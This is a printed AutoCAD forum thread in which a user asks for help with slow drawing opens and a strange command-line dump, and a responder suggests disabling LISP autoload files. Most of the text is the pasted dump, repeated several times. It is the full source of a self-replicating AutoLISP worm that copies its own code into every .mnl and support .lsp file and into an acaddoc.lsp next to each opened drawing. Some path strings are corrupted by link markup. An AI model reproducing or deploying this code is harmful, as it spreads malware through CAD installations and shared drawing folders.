Print Page | Close Window

Help me Pls ! Mistake is occurred when open file

Printed From: CAD Forum
Category: EN
Forum Name: AutoCAD
Forum Description: Discussion about AutoCAD and AutoCAD LT, viewers, DWG and DXF formats, Design Review, AutoCAD web, Drive, add-ons
URL: https://www.cadforum.cz/forum_en/forum_posts.asp?TID=9883
Printed Date: 09.Jul.2026 at 07:13


Topic: Help me Pls ! Mistake is occurred when open file
Posted By: Gemgem
Subject: Help me Pls ! Mistake is occurred when open file
Date Posted: 10.Dec.2013 at 05:38
Hi every body !
Im new member. And im having a problem with AutoCad file.
When i open a file. The command line appear 
"   );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath " file:///%5C%5Csupport" rel="nofollow - \\support "))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath " file:///%5C%5Cacaddoc.lsp" rel="nofollow - \\acaddoc.lsp "))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

      );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath " file:///%5C%5Csupport" rel="nofollow - \\support "))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath " file:///%5C%5Cacaddoc.lsp" rel="nofollow - \\acaddoc.lsp "))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

      );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath " file:///%5C%5Csupport" rel="nofollow - \\support "))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath " file:///%5C%5Cacaddoc.lsp" rel="nofollow - \\acaddoc.lsp "))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

      );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath " file:///%5C%5Csupport" rel="nofollow - \\support "))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath " file:///%5C%5Cacaddoc.lsp" rel="nofollow - \\acaddoc.lsp "))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

   );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

; error: bad argument type: streamp nil

bad argument type: stringp nil

Command:

Autodesk DWG.  This file is a TrustedDWG last saved by an Autodesk application or Autodesk licensed application.

Command:

And its took very long time to open. And if i open 2 files more. Cad program can not respond

I reset program but mistake still happened




-------------
(^_^) (Y)



Replies:
Posted By: John Connor
Date Posted: 10.Dec.2013 at 11:30
Surely everything in blue does not appear does it?

It looks like you have a problematic lisp routine that is executing upon starting a drawing. 

I'd temporarily disable (by renaming) the acad.lsp file and see if that helps.


-------------
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."

<<AutoCAD 2015>>



Posted By: Gemgem
Date Posted: 12.Dec.2013 at 05:01
thank you !
Im sure that it appeared. and i also thought its related to lisp. then i removed all lisp and reset cad. but trouble still happened.



-------------
(^_^) (Y)


Posted By: John Connor
Date Posted: 12.Dec.2013 at 09:56
One can automatically load lisp programs via the Startup Suite and by using acaddoc.lsp.  Both should be checked.

When did you start see this error?  Had to received a drawing from another source outside of the company you work for?

Does this happen with any drawing you try to open?


-------------
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."

<<AutoCAD 2015>>




Print Page | Close Window